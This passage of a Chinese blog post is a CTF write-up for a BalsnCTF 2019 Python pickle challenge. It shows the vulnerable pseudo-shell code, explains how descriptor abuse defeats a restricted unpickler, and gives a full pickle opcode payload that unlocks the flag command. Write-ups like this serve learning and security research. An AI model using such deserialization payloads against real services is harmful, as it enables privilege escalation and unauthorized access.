def __init__(self):
self.key = os.urandom(100)
self.login()
self.cmds = {
'help': self.cmd_help,
'whoami': self.cmd_whoami,
'su': self.cmd_su,
'flag': self.cmd_flag,
}
def login(self):
with open('../flag.txt', 'rb') as f:
flag = f.read()
flag = bytes(a ^ b for a, b in zip(self.key, flag))
user = input().encode('ascii')
user = codecs.decode(user, 'base64')
user = pickle.loads(user)
print('Login as ' + user.name + ' - ' + user.group)
user.privileged = False
user.flag = flag
self.user = user
def run(self):
while True:
req = input('$ ')
func = self.cmds.get(req, None)
if func is None:
print('pysh: ' + req + ': command not found')
else:
func()
def cmd_help(self):
print('Available commands: ' + ' '.join(self.cmds.keys()))
def cmd_whoami(self):
print(self.user.name, self.user.group)
def cmd_su(self):
print("Not Implemented QAQ")
# self.user.privileged = 1
def cmd_flag(self):
if not self.user.privileged:
print('flag: Permission denied')
else:
print(bytes(a ^ b for a, b in zip(self.user.flag, self.key)))
if __name__ == '__main__':
pysh = Pysh()
pysh.run()
# ----- structs.py -----
class User(object):
def __init__(self, name, group):
self.name = name
self.group = group
self.isadmin = 0
self.prompt = ''
这道题也比较难。限制如下:
-
只能引入 structs 模块 -
方法中不能有 .
-
无法 import 额外的模块。所以要想拿到 flag, self.user.privileged
需要不为 False
由于 user.privileged = False
是在反序列化之后运行的,所以就算覆盖了 struct 的 privileged,也会被强制改回来
我们知道,Python 的点运算符,背后实际上是各种描述器在起作用,而描述器其实由 __getattribute__()
方法调用的。所以这里的思路就是修改描述器使得 .
的行为可控。对于描述器我们并不陌生,如果你没用过,可以看下官方文档,见资料 8。
如果一个对象定义了 __set__()
或 __delete__()
,则它会被视为数据描述器。仅定义了 __get__()
的描述器称为非数据描述器。
其中,__set__()
决定了赋值时的行为,所以我们能不能通过重载 __set__
使得 user.privileged = False
失效呢?
那么这个时候可以等价为:
class User(object):
def __init__(self, name, group):
self.name = name
self.group = group
self.isadmin = 0
self.prompt = ''
user = User("tr0y", "root")
# 在这里面写入合适的语句
user.privileged = False
print(user.privileged) # 使得 user.privileged == True
首先,__set__
应该赋予一个 callable(废话 ),这个 callable 是比较有讲究的:
-
必须要有三个参数,执行 user.privileged = False
的时候,分为用于接收user
、privileged
、False
-
返回值必须不为广义的 False(什么 None 啊、"" 啊,都算广义的 False) -
调用的源头必须在一个类中
那么在这道题目中,User 这个类本身正好符合要求,所以可以这么写:User.__set__ = User
。但是如果只写这一句的话,你会发现还是无法改变 user.privileged = False
的行为。
这个时候就需要看下 __set__
到底如何改变 Python 赋值行为的。对于 obj.attr = value
(在对属性赋值时),Python 的查找策略是这样的:查找 obj.__class__.__dict__
,如果 attr 存在并且是一个数据描述器,调用 attr 的 __set__
方法,结束。如果不存在,会继续到 obj.__class__
的父类和祖先类中查找,找到数据描述器则调用其 __set__
方法,没找到则执行 obj.__dict__['attr'] = value
。
所以我们应该还要加一句 User.privileged = User("tr0y", "root")
保证 user.__class__.__dict__
已经有了 privileged
并且是一个数据描述器,这样就会走到 __set__
。橘友们可能会问,那为什么不能 user.privileged = User("tr0y", "root")
这么写呢?原因在于,privileged 这个属性是不存在于 user
的,所以会继续在父类中找,而父类也没有这个属性,所以直接执行的是 user.__dict__['privileged'] = User("tr0y", "root")
,这样是起不到作用的。同时由于 flag 并不存在于 user.__class__.__dict__
里,且父类的 User 也没有 flag 这个属性,所以 flag 这个属性是正常赋值的。
这样的话,我们要加的语句应该是:
User.__set__ = User
User.privileged = User("tr0y", "root")
最后的最后,由于 structs.User.__dict__
是 mappingproxy 类型,所以需要用到变量覆盖里提到的那个 tip
综上,转为 opcode 就是:
# 新增 __set__
cstructsnUsern(N}V__set__ncstructsnUsernstb
0 # 弹出
# 新增 privileged
cstructsnUsern(N}VprivilegedncstructsnUsern(Vtr0ynVrootntRstb
0 # 弹出
# 返回 structs.User 实例
cstructsnUsern(Vtr0ynVrootntR.
# 最终 payload
cstructsnUsern(N}V__set__ncstructsnUsernstb0cstructsnUsern(N}VprivilegedncstructsnUsern(Vtr0ynVrootntRstb0cstructsnUsern(Vtr0ynVrootntR.
☁️ 总结
橘友们应该可以发现,opcode 有个特点是“赋值容易查值难”。如何利用 opcode 构造 payload 需要多练习才能掌握,以及对 Python 魔术方法等各种稍底层的原理要有一定的理解,才能够知其然也知其所以然
Python 反序列化、Python 沙箱逃逸,以及 SSIT 所需的知识点有着很大的关联性,通其一而知其百,保持知识的连通性效率才会高。
☁️ 资料
-
Python 沙箱逃逸的经验总结 https://www.tr0y.wang/2019/05/06/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E7%BB%8F%E9%AA%8C%E6%80%BB%E7%BB%93/ -
pickle.py 中 opcode 备注 https://github.com/python/cpython/blob/9412f4d1ad28d48d8bb4725f05fd8f8d0daf8cd2/Lib/pickle.py#L107 -
可以序列化的东西
https://docs.python.org/zh-cn/3/library/pickle.html#what-can-be-pickled-and-unpickled -
pker,方便生成 opcode 的工具
https://github.com/EddieIvan01/pker -
Python 的导入机制
https://docs.python.org/zh-cn/3/reference/import.html#the-import-system -
pickle 的 load_build 逻辑
https://github.com/python/cpython/blob/9412f4d1ad28d48d8bb4725f05fd8f8d0daf8cd2/Lib/pickle.py#L1697 -
BalsnCTF-2019 Python 反序列化题
https://github.com/sasdf/ctf/tree/master/tasks/2019/BalsnCTF/misc -
Python 描述器
https://docs.python.org/zh-cn/3/howto/descriptor.html
今年应该是最惨的一个春节
在外地居家隔离
你说回家吧好像确实也挺无聊的
但就是控制不住想回去
一个人过春节
天天吃政府发的盒饭
真是太容易焦虑了
希望疫情早点结束
这篇文章是从除夕开始写的
化焦虑为动力了属实是
这两天搞了个微博账号
微博 id 是 6575448477,用户名是 Macr0phag3
主要是整活和发一些技术啊、摄影啊之类的日常
隔离期间真的话多,有点啰嗦哈哈哈
好了就说到这吧
祝橘友们虎年虎虎生威,大吉大利
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论